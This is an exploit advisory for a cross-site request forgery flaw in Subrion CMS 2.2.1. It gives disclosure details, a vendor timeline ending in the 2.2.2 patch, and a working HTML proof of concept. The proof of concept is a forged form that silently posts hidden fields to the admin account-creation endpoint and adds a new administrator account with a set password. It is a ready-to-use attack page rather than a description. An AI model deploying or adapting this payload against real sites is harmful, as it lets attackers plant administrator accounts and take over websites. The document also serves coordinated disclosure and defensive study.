Subrion CMS 2.2.1 – Cross-Site Request Forgery (Add Admin)
<!-- Title: Subrion CMS 2.2.1 CSRF Add Admin Exploit Vendor: Intelliants LLC Product web page: http://www.subrion.com Affected version: 2.2.1 Summary: Subrion is a free open source content management system. It's written in PHP 5 and utilizes MySQL database. Subrion CMS can be easily integrated into your current website or used as a stand alone platform. It's extremely flexible and scalable php system that stands for a content management framework. Desc: The application allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site. - Usergroup 1 - Administrator - Usergroup 2 - Moderator - Usergroup 8 - Registered Tested on: Microsoft Windows 7 Ultimate SP1 (EN) Apache 2.4.2 (Win32) PHP 5.4.4 MySQL 5.5.25a Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Vendor status: [05.09.2012] Vulnerability discovered. [06.09.2012] Contact with the vendor. [07.09.2012] Vendor responds asking more details. [07.09.2012] Sent detailed information to the vendor. [10.09.2012] Vendor creates patch. [11.09.2012] Vendor releases version 2.2.2 to address this issue. [11.09.2012] Coordinated public security advisory released. Advisory ID: ZSL-2012-5106 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5106.php 05.09.2012 --> <html> <head> <title>Subrion CMS 2.2.1 CSRF Add Admin Exploit</title> </head> <body><center><br /> <form method="post" action="http://localhost/subrion/admin/accounts/add/" onsubmit="forge()"> <input type="hidden" name="username" value="Commando" /> <input type="hidden" name="fullname" value="Arnold Schwarzenegger" /> <input type="hidden" name="email" value="lab@zeroscience.mk" /> <input type="hidden" name="_password" value="l33tP4ss!" /> <input type="hidden" name="_password2" value="l33tP4ss!" /> <input type="hidden" name="usergroup" value="1" /> <input type="hidden" name="avatar" value="" /> <input type="hidden" name="sponsored" value="0" /> <input type="hidden" name="plan_id" value="1" /> <input type="hidden" name="sponsored_end" value="" /> <input type="hidden" name="status" value="active" /> <input type="hidden" name="save" value="Add" /> <input type="hidden" name="goto" value="list" /> <input type="hidden" name="old_name" value="ZSL" /> <input type="hidden" name="id" value="" /> <input type="submit" id="exploit" value="Forge!" /> </form></center> <script type="text/javascript"> function forge(){document.getElementById("exploit").click();} </script> </body> </html> |